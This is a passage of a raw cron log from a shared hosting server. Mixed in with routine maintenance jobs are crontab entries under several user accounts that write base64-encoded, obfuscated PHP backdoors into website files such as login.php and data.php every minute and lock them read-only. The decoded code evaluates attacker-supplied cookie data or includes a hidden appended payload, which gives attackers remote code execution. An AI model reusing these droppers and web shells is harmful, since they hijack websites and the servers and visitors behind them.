gKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:43:01 medusa CROND[29911]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:43:01 medusa CROND[29912]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:43:01 medusa CROND[29917]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 04:43:01 medusa CROND[29919]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 04:43:01 medusa CROND[29920]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:43:01 medusa CROND[29922]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:43:01 medusa CROND[29921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:44:01 medusa CROND[22206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:44:01 medusa CROND[22256]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:44:01 medusa CROND[22257]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 04:44:01 medusa CROND[22258]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:44:01 medusa CROND[22260]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:44:01 medusa CROND[22262]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:44:01 medusa CROND[22263]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:44:01 medusa CROND[22265]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:44:01 medusa CROND[22270]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:44:01 medusa CROND[22272]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:44:01 medusa CROND[22277]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:44:01 medusa CROND[22279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:44:01 medusa CROND[22280]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:45:01 medusa CROND[15058]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 04:45:01 medusa CROND[15065]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 04:45:02 medusa CROND[15148]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:45:02 medusa CROND[15188]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 04:45:02 medusa CROND[15186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:45:02 medusa CROND[15189]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 04:45:02 medusa CROND[15191]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:45:02 medusa CROND[15197]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:45:02 medusa CROND[15196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 04:45:02 medusa CROND[15193]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 04:45:02 medusa CROND[15200]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:45:02 medusa CROND[15206]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
